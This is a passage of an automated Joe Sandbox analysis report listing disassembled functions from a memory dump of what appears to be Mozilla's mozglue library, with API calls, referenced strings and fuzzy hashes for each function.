MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB1E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB1E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB1E722, 6CB1E750, 6CB1E7A2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 63d407007a936d8bc16aea5e26017aa6ab87833209a39ed412129fa9122c9857
Instruction ID: 5b16ec02a4b04d1d728d040d1a2b048f8543da6d841dfbe7e54bb3116003c807
Opcode Fuzzy Hash: 63d407007a936d8bc16aea5e26017aa6ab87833209a39ed412129fa9122c9857
Instruction Fuzzy Hash: E811AD31A042D8DFDB009F15C848A6EFBF8FBC9328FC40619E88697A50C770A844CB96

Function 6CB20C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB20CD5

Part of subcall function 6CB0F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB20D40
free.MOZGLUE ref: 6CB20DCB

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

free.MOZGLUE ref: 6CB20DDD
free.MOZGLUE ref: 6CB20DF2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: bd7b4a234c06dbc62e8269f7a36442273a688732c5016957c447dc5c1fdb8897
Instruction ID: 354a755d277705988673f116054cc6a3b6c3da2e279b7a6213f4c18e6e3a2e00
Opcode Fuzzy Hash: bd7b4a234c06dbc62e8269f7a36442273a688732c5016957c447dc5c1fdb8897
Instruction Fuzzy Hash: FA410671A097948BD320CF29D1807AEFBE5BFC9654F508A2EE8D887750D7749489CB82

Function 6CB2CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CDA4

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

Part of subcall function 6CB2D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB2CDBA,00100000,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D158
Part of subcall function 6CB2D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB2CDBA,00100000,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CDC4

Part of subcall function 6CB27480: ReleaseSRWLockExclusive.KERNEL32(?,6CB315FC,?,?,?,?,6CB315FC,?), ref: 6CB274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CECC

Part of subcall function 6CAECA10: mozalloc_abort.MOZGLUE(?), ref: 6CAECAA2

Part of subcall function 6CB1CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB2CEEA,?,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000), ref: 6CB1CB57
Part of subcall function 6CB1CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB1CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB2CEEA,?,?), ref: 6CB1CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D058

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 33e1572da01bc7f9ad01b339db4504c51bfe64f6e4cc7be1c7f9841aeeae5508
Instruction ID: da19969df6ae8c8afa302d5dc4d827b1a4c965cf264e9e541588927b943200e6
Opcode Fuzzy Hash: 33e1572da01bc7f9ad01b339db4504c51bfe64f6e4cc7be1c7f9841aeeae5508
Instruction Fuzzy Hash: DAD17E71A04B469FD718CF28C5907A9F7E1FF89308F01862DD85987752EB31E9A9CB81

Function 6CAF5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAF5D40
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAF5D67
__aulldiv.LIBCMT ref: 6CAF5DB4
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAF5DED

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5a5287c274e8ed3c8ca943ab172146153f4a171494c2e528269cfd9848a21a6f
Instruction ID: 60dfb85c5a4c94f22eb3d5141762733b247bc46b6fb045077a7e7e5f049c09a5
Opcode Fuzzy Hash: 5a5287c274e8ed3c8ca943ab172146153f4a171494c2e528269cfd9848a21a6f
Instruction Fuzzy Hash: 60518F71E011598FCF08CFA8C854BAEFBB2FB89304F59861DD865A7790C7716986CB90

Function 6CADCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CADCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CADCF4E

Strings

0, xrefs: 6CADCF30

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a5ecdd375949f1cf14869ae2b1383999e44638887876c078c140600cbdaa1ca4
Instruction ID: 37e773762f71a083c377131fffb4903517b3e88a516cf3911401b727941cba25
Opcode Fuzzy Hash: a5ecdd375949f1cf14869ae2b1383999e44638887876c078c140600cbdaa1ca4
Instruction Fuzzy Hash: 47511071A042568FCB00CF18C890AAAFBB5EF99304F2A859DD8595F352D731BD46CBE0

Function 6CB16470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB182BC,?,?), ref: 6CB1649B

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB164A9

Part of subcall function 6CB0FA80: GetCurrentThreadId.KERNEL32 ref: 6CB0FA8D
Part of subcall function 6CB0FA80: AcquireSRWLockExclusive.KERNEL32(6CB5F448), ref: 6CB0FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1653F
free.MOZGLUE(?), ref: 6CB1655A

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f028a5dc8d6601f8e82bb6d24b7c3f47bfeda514127695e6e3bdf9fb941a75d6
Instruction ID: 6e494324d18a2d0ff9a15684dc924b9a2fea3848331a8a177d0472a2c996b698
Opcode Fuzzy Hash: f028a5dc8d6601f8e82bb6d24b7c3f47bfeda514127695e6e3bdf9fb941a75d6
Instruction Fuzzy Hash: 263190B5A083459FD704CF14D880AAEBBF4FF88314F40842EE89A87740DB34E909CB92

Function 6CAEB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAEB4F5
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAEB502
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAEB542
free.MOZGLUE(?), ref: 6CAEB578

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 675a7e9a55b0eafaf7a326d167c57bed58f7deb4eb0f2bc0046dd25db5b055b2
Instruction ID: 3ef97174df7ce5fd851f1c51ddbb3536b3be93eda9d8355796f600954c32ad6f
Opcode Fuzzy Hash: 675a7e9a55b0eafaf7a326d167c57bed58f7deb4eb0f2bc0046dd25db5b055b2
Instruction Fuzzy Hash: 13110330A04B41C7E7128F29D5047A2B3B0FF9A318F98970AE84A53A01EBB0B1C5C7E4

Function 6CB13DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CADF20E,?), ref: 6CB13DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CADF20E,00000000,?), ref: 6CB13DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB13E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB13E0E

Part of subcall function 6CB0CC00: GetCurrentProcess.KERNEL32(?,?,6CAD31A7), ref: 6CB0CC0D
Part of subcall function 6CB0CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAD31A7), ref: 6CB0CC16

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: abb2a3061fb0d94433302eede38147e1a72cc0416cd8edfce3593febd002ed36
Instruction ID: be779c5c6fdbad543df7a3d980d8460076858acf141dcdce0da715b183c46b22
Opcode Fuzzy Hash: abb2a3061fb0d94433302eede38147e1a72cc0416cd8edfce3593febd002ed36
Instruction Fuzzy Hash: 3DF012B16002487BDB01AF54DC41DAF376DDB46624F444020FD0857741D775BE1996F7

Function 6CB285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB285D3

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB28725

Strings

map/set<T> too long, xrefs: 6CB28720

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 986cc30ed85de555caf1c1744610bccd48407bba8436d6ac9b7d45bbf3c0cb19
Instruction ID: 55380471830fa0dc8dc39c9607a6ee9d6acc71ab22c06cd447361784d82e22a6
Opcode Fuzzy Hash: 986cc30ed85de555caf1c1744610bccd48407bba8436d6ac9b7d45bbf3c0cb19
Instruction Fuzzy Hash: 095168756006818FD702CF18C184A69BBF1FF59318F18C18AD85D5BB62C33AE885CF92

Function 6CADBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CADBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADBE8F

Strings

0, xrefs: 6CADBE5B

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 7bd927873fd89758302fc8bdfde532ffedd7269becaa8b9c74244b028222b2f6
Instruction ID: 1289b93f012904a126c365b9a30188c29999410f50b6df3f3b1dc40c1d55ff05
Opcode Fuzzy Hash: 7bd927873fd89758302fc8bdfde532ffedd7269becaa8b9c74244b028222b2f6
Instruction Fuzzy Hash: 3B418F71909745CFC701CF28D481A9BBBF4AF8A348F018B1DF985A7611DB30E9998B82

Function 6CB13CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB13D19
mozalloc_abort.MOZGLUE(?), ref: 6CB13D6C

Strings

d, xrefs: 6CB13D58

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2d56504509bb1ae9890480cfebdfcecb2f34adbe5e4e7328e1417b23a22e3b6f
Instruction ID: ffd51f3863e45526cb16759b0aa9d5e4223a2f528e9f939c4857a86e095c710c
Opcode Fuzzy Hash: 2d56504509bb1ae9890480cfebdfcecb2f34adbe5e4e7328e1417b23a22e3b6f
Instruction Fuzzy Hash: 99110171E186D89BDB019F69C8154EEB775EF86218B848228EC449BA02FB30A5C4C790

Function 6CB36DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB36E22
__Init_thread_footer.LIBCMT ref: 6CB36E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB36E1D

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 9997b129d36a00bf3a0c2b0dd8e7fa9cca27bf0be8a41dd98c018665dfb327f2
Instruction ID: 316c24abf1f1afb2cbbfc6504ffddd8475ff54637787912645425894ebd3c52c
Opcode Fuzzy Hash: 9997b129d36a00bf3a0c2b0dd8e7fa9cca27bf0be8a41dd98c018665dfb327f2
Instruction Fuzzy Hash: 71F09739B042D0CBDB008FA8C850A9EF772F703228F8811A5C80887BE1C730B51ACE93

Function 6CAE9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAE9EEF

Strings

NaN, xrefs: 6CAE9EC1
Infinity, xrefs: 6CAE9EB7

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 1de757a7d2bb9fb73c0c25354a2da84ce59266b1c0b4038af00bba2e3584bba3
Instruction ID: b081f057546540097d70315b47fd1e01b4dc8b12a99a0a22a985d492f3a3c161
Opcode Fuzzy Hash: 1de757a7d2bb9fb73c0c25354a2da84ce59266b1c0b4038af00bba2e3584bba3
Instruction Fuzzy Hash: 38F0CDB16003A1CBDB009F68D949BB9B771B70B318FA40A98C6040BBC0D3356596CAC2

Function 6CAEBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CAEBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CAEBEF5

Strings

cryptbase.dll, xrefs: 6CAEBEF0

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 9728d794b62620d5217e5002deb8827cc499fa187497008d0a828ffa04e1f2df
Instruction ID: e7fa2adf1123dfcdfa4bf6ec59beed92e7dbfd402999a689512667c14ed19ce9
Opcode Fuzzy Hash: 9728d794b62620d5217e5002deb8827cc499fa187497008d0a828ffa04e1f2df
Instruction Fuzzy Hash: BAD0A932380208EACA00AEA09C0AB293BB8A70A725F94C420F30585851C7B0A4A0DF88

Function 6CB2B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B628

Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB290FF
Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB29108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB2B127,?,?,?,?,?,?,?,?), ref: 6CB2B74D

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9a502952e8652031452496e464b3f839248af5ca262aae13a68fe543402694a0
Instruction ID: a6122d0398a0a5d00dd4fdda7db45b0413079bdb90a5af82390de2c99bbb886e
Opcode Fuzzy Hash: 9a502952e8652031452496e464b3f839248af5ca262aae13a68fe543402694a0
Instruction Fuzzy Hash: A951B071A052568FDB14CF18C980B6EB7B5FF49304F59852DC89FAB710DB39A804CBA1

Function 6CB3B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAE0A4D), ref: 6CB3B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAE0A4D), ref: 6CB3B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAE0A4D), ref: 6CB3B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAE0A4D), ref: 6CB3B67F

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 3772ad7b1ade34a44cd3f108135a4faea5ed73a22fed253691b59d8014d97053
Instruction ID: c039eb777d225e45925f9a373176a89b441be459cd7d3a3eb057256664b3d959
Opcode Fuzzy Hash: 3772ad7b1ade34a44cd3f108135a4faea5ed73a22fed253691b59d8014d97053
Instruction Fuzzy Hash: B831D471B016268FDB10CF58CC4465AFBBAFF85314F5A8569C80E9B20ADB31E915CBA1

Function 6CB0F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB0F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB0F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F668

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
